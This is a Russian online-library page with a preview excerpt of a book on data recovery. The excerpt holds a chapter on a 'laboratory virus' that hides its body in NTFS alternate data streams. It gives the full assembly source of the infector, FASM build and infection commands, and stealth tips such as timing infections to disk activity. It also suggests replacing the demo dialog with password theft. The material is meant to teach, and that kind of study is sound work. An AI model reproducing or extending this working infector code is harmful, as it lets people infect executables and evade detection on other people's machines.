Крис Касперски - Восстановление данных. Практическое руководство

Тут можно читать онлайн Крис Касперски - Восстановление данных. Практическое руководство - бесплатно ознакомительный отрывок. Жанр: Все книги в жанре Компьютерное "железо", издательство БХВ-Петербург, год 2006. Здесь Вы можете читать ознакомительный отрывок из книги онлайн без регистрации и SMS на сайте лучшей интернет библиотеки ЛибКинг или прочесть краткое содержание (суть), предисловие и аннотацию. Так же сможете купить и скачать торрент в электронном формате fb2, найти и слушать аудиокнигу на русском языке или узнать сколько частей в серии и всего страниц в публикации. Читателям доступно смотреть обложку, картинки, описание и отзывы (комментарии) о произведении.

Крис Касперски - Восстановление данных. Практическое руководство краткое содержание

Восстановление данных. Практическое руководство - описание и краткое содержание, автор Крис Касперски, читайте бесплатно онлайн на сайте электронной библиотеки LibKing.Ru

Книга представляет собой пошаговое руководство по восстановлению поврежденных данных на жестких и оптических дисках. Подробно рассмотрена структура популярных файловых систем: NTFS, ext2/ext3, UFS/FFS и др. Описаны автоматические методы восстановления данных для операционных систем Windows и Linux. Приведены способы ручного восстановления, используемые в случае, когда автоматическое восстановление невозможно. Материал сопровождается большим количеством полезных советов и исчерпывающим справочным материалом. На компакт-диске помешены полезные утилиты и исходные коды, приведенные в книге.

Для пользователей ПК

Восстановление данных. Практическое руководство - читать онлайн бесплатно ознакомительный отрывок

Восстановление данных. Практическое руководство - читать книгу онлайн бесплатно (ознакомительный отрывок), автор Крис Касперски
Тёмная тема
Сбросить

Интервал:

Закладка:

Сделать

Мы будем действовать так: внедряемся в файл, ждем 30 секунд, удаляем свое тело из файла, тут же внедряясь в другой. Чем короче период ожидания — тем выше шансы вируса остаться незамеченным, но и тем выше дисковая активность. А регулярные мигания красной лампочки без видимых причин сразу же насторожат опытных пользователей, поэтому приходится хитрить. Например, можно вести мониторинг дисковой активности, осуществляя заражение только тогда, когда происходит обращение к какому-нибудь файлу. В решении этой задачи нам поможет файловый монитор (Filemon.exe) Марка Руссиновича ( http://www.systeminternals.com). Эта утилита поставляется с исходным кодом, который легко доработать под любые потребности.

Программный код вируса

Естественные языки с описанием компьютерных алгоритмов практически никогда не справляются. Уж слишком они неоднозначны и внутренне противоречивы. Поэтому, во избежание недоразумений, продублируем описание алгоритма на языке ассемблера.

В листинге 6.5 приведен исходный код ключевого фрагмента вируса с комментариями.

Листинг 6.5. Исходный код ключевого фрагмента лабораторного вируса

section '.code' code readable executable start:

; Удаляем временный файл

push foo

call [DeleteFile]

; Определяем наше имя

push 1000

push buf

push 0

call [GetModuleFileName]

; Считываем командную строку

; Ключ filename - заразить

call [GetCommandLine]

mov ebp, eax

xor ebx, ebx

mov ecx, 202A2D2Dh ;

rool:

cmp [eax], ecx ; это '--*'?

jz infect

inc eax

cmp [eax], ebx ; Конец командной строки?

jnz rool

; Выводим диагностическое сообщение,

; подтверждая свое присутствие в файле

push 0

push aInfected

push aHello

push 0

call [MessageBox]

; Добавляем к своему имени имя потока NTFS

mov esi, code_name

mov edi, buf

mov ecx, 100; сode_name_end - code_name

xor eax,eax

repne scasb

dec edi

rep movsb

; Запускаем поток NTFS на выполнение

push xxx

push xxx

push eax

push eax

push eax

push eax

push eax

push eax

push ebp

push buf

call [CreateProcess]

jmp go2exit ; Выходим из вируса

infect:

; Устанавливаем eax на первый символ имени файла-жертвы

; (далее по тексту dst)

add eax, 4

xchg eax, ebp

xor eax,eax

inc eax

; Здесь можно вставить проверку dst на заражение

; Переименовываем dst в foo

push foo

push ebp

call [RenameFile]

; Копируем в foo основной поток dst

push eax

push ebp

push buf

call [CopyFile]

; Добавляем к своему имени имя потока NTFS

mov esi, ebp

mov edi, buf

copy_rool:

lodsb

stosb

test al,al

jnz copy_rool

mov esi, code_name

dec edi

copy_rool2:

lodsb

stosb

test al,al

jnz copy_rool2

; Копируем foo в dst:bar

push eax

push buf

push foo

call [CopyFile]

; Здесь не помешает добавить коррекцию длины заражаемого файла

; Удаляем foo

push foo

call [DeleteFile]

; Выводим диагностическое сообщение,

; подтверждающее успешность заражения файла

push 0

push aInfected

push ebp

push 0

call [MessageBox]

; Выход из вируса

go2exit:

push 0

call [ExitProcess]

section '.data' data readable writeable

foo db "foo",0 ; Имя временного файла

code_name db ":bar",0 ; Имя потока, в котором будет...

code_name_end: ; ...сохранено основное тело

; Различные текстовые строки, выводимые вирусом

aInfected db "infected",0

aHello db "Hello, you are hacked"

; Различные буфера для служебных целей

buf rb 1000

xxx rb 1000

Компиляция и тестирование вируса

Для компиляции вирусного кода нам понадобится транслятор FASM, бесплатную Windows-версию которого можно найти на сайте http://flatassembler.net/. Остальные трансляторы (MASM, TASM) тут непригодны, так как они используют совсем другой ассемблерный синтаксис.

Скачайте последнюю версию FASM, распакуйте архив и в командной строке наберите следующую команду: fasm.exe xcode.asm. Если все сделано правильно, на диске должен появиться файл xcode.exe. Запустим его на выполнение с опцией командной строки --*, за которой следует имя файла, который требуется заразить, например, notepad.exe ( xcode.exe --* notepad.exe). Появление диалогового окна, показанного на рис. 6.6, свидетельствует об успешном внедрении. Если попытка заражения потерпела неудачу, первым делом необходимо убедиться в наличии прав доступа к файлу. Захватывать их самостоятельно наш вирус не собирается. Во всяком случае, пока. Но вот настоящие вирусы, в отличие от нашего безобидного лабораторного создания, сделают это непременно.

Рис 66 Диалоговое окно свидетельствующее об успешном заражении Теперь - фото 47

Рис. 6.6. Диалоговое окно, свидетельствующее об успешном заражении

Теперь запустите зараженный файл notepad.exe на исполнение. В доказательство своего существования вирус тут же выбрасывает диалоговое окно (рис. 6.7), а после нажатия на кнопку OKпередает управление оригинальному коду программы.

Рис 67 Диалоговое окно отображаемое зараженным файлом при запуске на - фото 48

Рис. 6.7. Диалоговое окно, отображаемое зараженным файлом при запуске на исполнение

Чтобы не возбуждать у пользователя подозрений, настоящий вирусописатель удалит это диалоговое окно из финальной версии вируса, заменив его какой-нибудь вредоносной "начинкой". Тут все зависит от вирусописательских намерений и фантазии. Например, можно перевернуть экран, сыграть над пользователем еще какую-нибудь безобидную шутку, или же заняться более зловредной деятельностью вроде похищения паролей или другой конфиденциальной информации.

Читать дальше
Тёмная тема
Сбросить

Интервал:

Закладка:

Сделать


Крис Касперски читать все книги автора по порядку

Крис Касперски - все книги автора в одном месте читать по порядку полные версии на сайте онлайн библиотеки LibKing.




Восстановление данных. Практическое руководство отзывы


Отзывы читателей о книге Восстановление данных. Практическое руководство, автор: Крис Касперски. Читайте комментарии и мнения людей о произведении.


Понравилась книга? Поделитесь впечатлениями - оставьте Ваш отзыв или расскажите друзьям

Напишите свой комментарий
x